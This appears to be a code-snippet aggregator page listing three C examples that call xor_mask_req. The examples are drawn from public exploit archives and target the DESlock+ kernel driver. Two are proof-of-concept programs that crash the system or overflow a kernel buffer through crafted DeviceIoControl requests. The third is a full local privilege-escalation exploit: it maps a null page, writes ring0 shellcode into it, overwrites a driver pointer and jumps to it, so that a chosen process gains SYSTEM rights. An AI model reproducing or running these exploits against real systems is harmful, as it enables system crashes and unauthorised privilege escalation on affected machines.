C++ (Cpp) xor_mask_req Examples

Example #1

File: deslock-probe-read.c Project: BuddhaLabs/PacketStorm-Exploits

int
main (int argc, char **argv)
{
  struct ioctl_req req;
  HANDLE hFile, hThread;
  DWORD rlen, dThread, nTotal, nFail;
  LPVOID zpage;
  BOOL result;

  printf ("DESlock+ <= 3.2.7 local kernel DoS PoC\n"
          "by: <*****@*****.**>\n"
          "http://www.digit-labs.org/ -- Digit-Labs 2008!@$!\n\n");

  fflush (stdout);
  hFile = CreateFileA ("\\\\.\\DLKPFSD_Device", FILE_EXECUTE,
                       FILE_SHARE_READ|FILE_SHARE_WRITE, NULL,
                       OPEN_EXISTING, 0, NULL);
  if (hFile == INVALID_HANDLE_VALUE)
    {
      fprintf (stderr, "* CreateFileA failed, %d\n", hFile);
      exit (EXIT_FAILURE);
    }

  zpage = VirtualAlloc (NULL, 0x1000,
                        MEM_RESERVE|MEM_COMMIT, PAGE_READONLY);
  if (zpage == NULL)
    {
      fprintf (stderr, "* VirtualAlloc failed\n");
      exit (EXIT_FAILURE);
    }
  printf ("* allocated page: 0x%08X [%d-bytes]\n",
          zpage, 0x1000);

  req.flag = DLMFENC_FLAG;
  req.req_num = 18;
  req.arg[0] = (void *) zpage;
  sleep (2000);

  xor_mask_req (&req);
  result = DeviceIoControl (hFile, DLMFENC_IOCTL,
                            &req, sizeof req, &req, sizeof req, &rlen, 0);
  if (!result)
    {
      fprintf (stderr, "* DeviceIoControl failed\n");
      exit (EXIT_FAILURE);
    }

  printf ("* hmmm, you didn't STOP the box?!?!\n");

  CloseHandle (hFile);

  return (EXIT_SUCCESS);
}

Example #2

File: deslock-overflow.c Project: BuddhaLabs/PacketStorm-Exploits

int
main (int argc, char **argv)
{
  struct ioctl_req req;
  CHAR buf[DLMFENC_BUZ_SZ + 128];
  HANDLE hFile;
  BOOL result;
  DWORD rlen;

  printf ("DESlock+ <= 3.2.7 local kernel overflow PoC\n"
          "by: <*****@*****.**>\n"
          "http://www.digit-labs.org/ -- Digit-Labs 2008!@$!\n\n");

  fflush (stdout);
  hFile = CreateFileA ("\\\\.\\DLKPFSD_Device", FILE_EXECUTE,
                       FILE_SHARE_READ|FILE_SHARE_WRITE, NULL,
                       OPEN_EXISTING, 0, NULL);
  if (hFile == INVALID_HANDLE_VALUE)
    {
      fprintf (stderr, "* CreateFileA failed, %d\n", hFile);
      exit (EXIT_FAILURE);
    }

  buf[0] = 'C';                           /* drive letter */
  memset (&buf[1], 0x41, sizeof buf - 1); /* filename     */
  buf[sizeof buf - 1] = '\0';

  memset (&req, 0, sizeof req);
  req.flag = DLMFENC_FLAG;
  req.req_num = 0x05;
  req.arg[0] = (void *) buf;
  sleep (2000);

  xor_mask_req (&req);
  result = DeviceIoControl (hFile, DLMFENC_IOCTL,
                            &req, sizeof req, &req, sizeof req, &rlen, 0);
  if (!result)
    {
      fprintf (stderr, "* DeviceIoControl failed\n");
      exit (EXIT_FAILURE);
    }

  printf ("* hmmm, you didn't STOP the box?!?! rlen: %d\n", rlen);

  CloseHandle (hFile);

  return (EXIT_SUCCESS);
}

Example #3

File: 5143.c Project: AlexxNica/exploit-database

int
main (int argc, char **argv)
{
  struct ioctl_req req;
  DWORD dResult, rlen, zpage_len, zlen, ppid;
  LPVOID zpage, zbuf, base;
  CHAR rbuf[64];
  HANDLE hFile;
  BOOL bResult;

  printf ("DESlock+ <= 3.2.6 local kernel ring0 link list zero SYSTEM exploit\n"
          "by: <*****@*****.**>\n"
          "http://www.digit-labs.org/ -- Digit-Labs 2008!@$!\n\n");

  if (argc <= 1)
    {
      fprintf (stderr, "Usage: %s <processid to elevate>\n", argv[0]);
      exit (EXIT_SUCCESS);
    }

  ppid = atoi (argv[1]);

  hFile = CreateFileA ("\\\\.\\DLKPFSD_Device", FILE_EXECUTE,
                       FILE_SHARE_READ|FILE_SHARE_WRITE, NULL,
                       OPEN_EXISTING, 0, NULL);
  if (hFile == INVALID_HANDLE_VALUE)
    {
      fprintf (stderr, "* CreateFileA failed, %d\n", hFile);
      exit (EXIT_FAILURE);
    }

  zpage_len = 0x7FFF;
  zpage = (LPVOID) 0x00000001;
  dResult = NtAllocateVirtualMemory ((HANDLE) -1, &zpage, 0, &zpage_len,
                                     MEM_RESERVE|MEM_COMMIT|MEM_TOP_DOWN, PAGE_EXECUTE_READWRITE);
  if (dResult != STATUS_SUCCESS)
    {
      fprintf (stderr, "* NtAllocateVirtualMemory failed\n");
      exit (EXIT_FAILURE);
    }
  printf ("* allocated page: 0x%08X [%d-bytes]\n",
          zpage, 0x7FFF);

  base = get_module_base ();
  if (base == NULL)
    {
      fprintf (stderr, "* unable to find dlkfdisk.sys base\n");
      exit (EXIT_FAILURE);
    }
  printf ("* dlkfdisk.sys base: 0x%08X\n", base);

  memset (zpage, 0xCC, 0x7FFF);
  zbuf = fixup_ring0_shell (base, ppid, &zlen);
  memcpy ((LPVOID) zpage, win32_fixup, sizeof (win32_fixup) - 1);
  memcpy ((LPVOID) (zpage + sizeof (win32_fixup) - 1), zbuf, zlen);
  memcpy ((LPVOID) (zpage + sizeof (win32_fixup) + zlen - 1),
          win32_ret, sizeof (win32_ret) - 1);

  memset (&req, 0, sizeof req);
  req.arg[0] = (void *) DLMFENC_FLAG;
  req.arg[1] = (void *) 0x12;
  req.arg[2] = (void *) (base + DLKFDISK_SLOT); /* overwrite pointer */

  printf ("* overwriting [@0x%08X %d-bytes].. ",
          base + DLKFDISK_SLOT, 16);
  xor_mask_req (&req);
  bResult = DeviceIoControl (hFile, DLMFENC_IOCTL,
                             &req, sizeof req, &req, sizeof req, &rlen, 0);
  if (!bResult)
    {
      fprintf (stderr, "DeviceIoControl failed\n");
      exit (EXIT_FAILURE);
    }
  printf ("done\n");

  CloseHandle (hFile);

  hFile = CreateFileA ("\\\\.\\DLKFDisk_Control", FILE_EXECUTE,
                       FILE_SHARE_READ|FILE_SHARE_WRITE, NULL,
                       OPEN_EXISTING, 0, NULL);
  if (hFile == INVALID_HANDLE_VALUE)
    {
      fprintf (stderr, "* CreateFileA failed, %d\n", hFile);
      exit (EXIT_FAILURE);
    }

  /* jump to our address :) */
  printf ("* jumping.. ");
  bResult = DeviceIoControl (hFile, DLKFDISK_R_IOCTL,
                             &rbuf, sizeof rbuf, &rbuf, sizeof rbuf, &rlen, 0);
  if (!bResult)
    {
      fprintf (stderr, "DeviceIoControl failed\n");
      exit (EXIT_FAILURE);
    }
  printf ("done\n\n"
          "* hmmm, you didn't STOP the box?!?!\n");

  CloseHandle (hFile);

  return (EXIT_SUCCESS);
}